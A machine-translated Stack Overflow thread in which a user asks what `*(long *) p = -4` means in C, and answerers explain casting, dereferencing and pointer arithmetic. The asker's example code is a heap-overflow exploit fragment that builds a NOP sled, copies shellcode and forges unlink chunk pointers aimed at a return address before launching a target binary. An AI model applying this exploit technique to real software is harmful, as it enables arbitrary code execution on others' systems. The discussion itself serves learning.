【问题标题】:Pointer to a casted Pointer?指向铸造指针的指针?
【发布时间】:2010-12-27 01:59:55
【问题描述】:

我在 C 中遇到了指向强制转换指针的指针(不确定这是正确的术语),例如:

*(long *) p = 10;我一生都无法理解它的含义,或者,另一个例子:

*(void *) NULL,或 *(char *) 0;我就是无法理解它,有人可以向我解释一下,并让我免受部分脑损伤吗? :)

谢谢

(P.S 下面显示了这种用法的示例)

int main(int argc, char *argv[]) { char *p, *payload = (char *) malloc(1052);

    p = payload;
    memset(p, '\x90', 1052);

    /* Jump 12 ahead over the trashed word from unlink() */
    memcpy(p, "\xeb\x0c", 2);

    /* We put the shellcode safely away from the possibly corrupted area */
    p += 1020 - 64 - sizeof(shellcode);
    memcpy(p, shellcode, sizeof(shellcode) - 1);

    /* Set up the prev_size and overflow size fields */
    p += sizeof(shellcode) + 64 - 4;
    *(long *) p = -4;
    p += 4;
    *(long *) p = -16;

    /* Set up the fwd and bck of the fake chunk */
    p += 8;
    *(long *) p = RETLOC - 12;
    p += 4;
    *(long *) p = RETADDR;

    p += 4;
    *(p) = '\0';

    execl("./wilderness", "./wilderness", payload, NULL); }

【问题讨论】:

    标签: c pointers


    【解决方案1】:
    *(long *) p = -4;
    

    意思是:p 是一个“指向 long 的指针”,我正在尝试将值分配给那里引用的内存。我们这样做是因为最初我们说 p 是一个 char 指针,并且我们希望在访问时改变它的行为。

    【讨论】:

    • 那么,我们为什么不把它改成 (long *) p = -4; ?或者,要将值分配给那里引用的内存,&(long *) p = -4? /我对此感到非常困惑......
    • 但是,将值分配给那里引用的内存是什么意思?
    • 如果我们将其更改为 (long )p = -4,我们将“说将地址设置为 -4”,而 &(long *)p = -4 将说设置指针 *for p 到 -4 的地址,这是 AFAIK 所不允许的。也不允许将某物的地址设置为 -4。
    • 允许将无符号值设置为有符号值,但它会将 -4 强制转换为 4294967292(对于 4 字节 long 类型)。
    • 啊,我明白了;好的。而且,当像 *(char *) NULL; 这样的东西时呢?突然出现?
    【解决方案2】:

    第一个星实际上是取消引用转换的指针。因此, *(long *) p = 10 意味着将 p 转换为指向 long 的指针并将 -4 分配给取消引用的位置。将您的示例与 *p =10 进行比较。

    【讨论】:

      【解决方案3】:

      将 * 放在 (long *) 之前称为“解除引用”指针。正如@GrayWizardx 所说,这意味着您正在修改指针指向的内存中的值。

      【讨论】:

      • 这是一篇好文章的 Google 缓存链接...由于某种原因,主链接目前已关闭:74.125.47.132/…
      • 为了访问指针指向的变量,对吧?好的。 *(char *) NULL 怎么样? ?
      • 还有,嗯——为什么我们不能只做 "p = -4L" ?
      • @Grey,您能举例说明该代码的使用位置吗?我在原始问题中没有看到它...
      • 一个带有 *(unsigned int *) NULL 的例子:codepad.org/iz2TSDfa——随着时间的推移,我刚刚在其他地方遇到了 *(char *) NULL 和 *(void *) NULL ...
      【解决方案4】:

      先拆分语句:

        long *q = (long*)p;
        *q = 10;
        p += 4;
      

      p 参数的类型为char*,您一次只能通过该指针读取或写入 1 个字节。转换为long* 会创建一个指针,您可以通过该指针一次从/向同一地址读取或写入 4 个字节。分配写入字节 0x00、0x00、0x00、0x0A。与以下内容相同:

        *p = 10;
        p++;
        *p = 0;
        p++;
        *p = 0;
        p++;
        *p = 0;
      

      取决于字节顺序。赋值后,p需要加4,因为写入了4个字节。

      这个技巧在包含非字节数据的字节缓冲区中很常见。

      【讨论】:

      • 说得比我优雅得多。
      • long == 4 字节,仅适用于 Windows 和 32 位 unix。 long 在 64 位 unix 上是 8 个字节。
      【解决方案5】:

      它是指针算法,基于指针类型,即它的 char* cPtr 还是 int* nPtr,当你增加 cPtr++ 将移动一个字节,nPtr++ 将移动 4 个字节(假设 char 占用一个字节,int 占用 4 个字节) .

      【讨论】:

        【解决方案6】:

        当您了解示例代码背后的动机时,您可能会更轻松。

        代码正在处理 4 字节值,这就是为什么 p 被转换为 long *。构造 * (long *) p = -4; 允许您通过单个分配将 4 个字节设置为 0xFFFFFFFC。如果您将p 保留为char *,则需要四个单独的分配,并且您还需要担心您平台的endianness

        那么为什么不首先将p 声明为long *?因为代码使用指针算法来计算目标地址:p += sizeof(shellcode) + 64 - 4; 使用 char * 指针算法很容易,因为向指针加 1 会将其推进到下一个字节,正如您所期望的那样。指向其他数据类型的指针并非如此!如果 p 被声明为 long *p;p += 44 * sizeof(long) 添加到 p

        为什么?因为这使得遍历long 变量列表变得容易:

        long sum_of_longs(long vals[], int num)  { // 'vals[]' contains 'num' long ints.
           long *p;                                // This pointer traverses the array.
           long sum;                               // Running total.
        
           // Initialize 'p' to the first number in 'vals[]' and
           // increment through the array until 'num' reaches 0.
           //
           // Note that 'p' increases by 4 bytes each time in order
           // to advance to the next long.
           for (sum=0, p=vals;  num > 0;  p++, num--)
              sum += *p;
        
           return sum;
        }
        

        因此,在您的示例中,将 p 定义为 char * 可以轻松地以字节为单位进行指针运算,并将其转换为 long * 使分配更容易。

        【讨论】:

          【解决方案7】:

          codepad.org/iz2TSDfa

          此代码将四个字节的数据写入内存中的地址零。这不是普遍或公认的做法,也不能普遍适用。换句话说:黑魔法。

          我猜它会触发某种处理器中断。

          如果你想理解它,我建议你学习汇编/此代码所针对的计算机体系结构。

          【讨论】:

            猜你喜欢
            • 1970-01-01
            • 2011-04-03
            • 1970-01-01
            • 2011-03-26
            • 1970-01-01
            • 2011-08-04
            • 1970-01-01
            • 1970-01-01
            • 2018-05-16
            相关资源
            最近更新 更多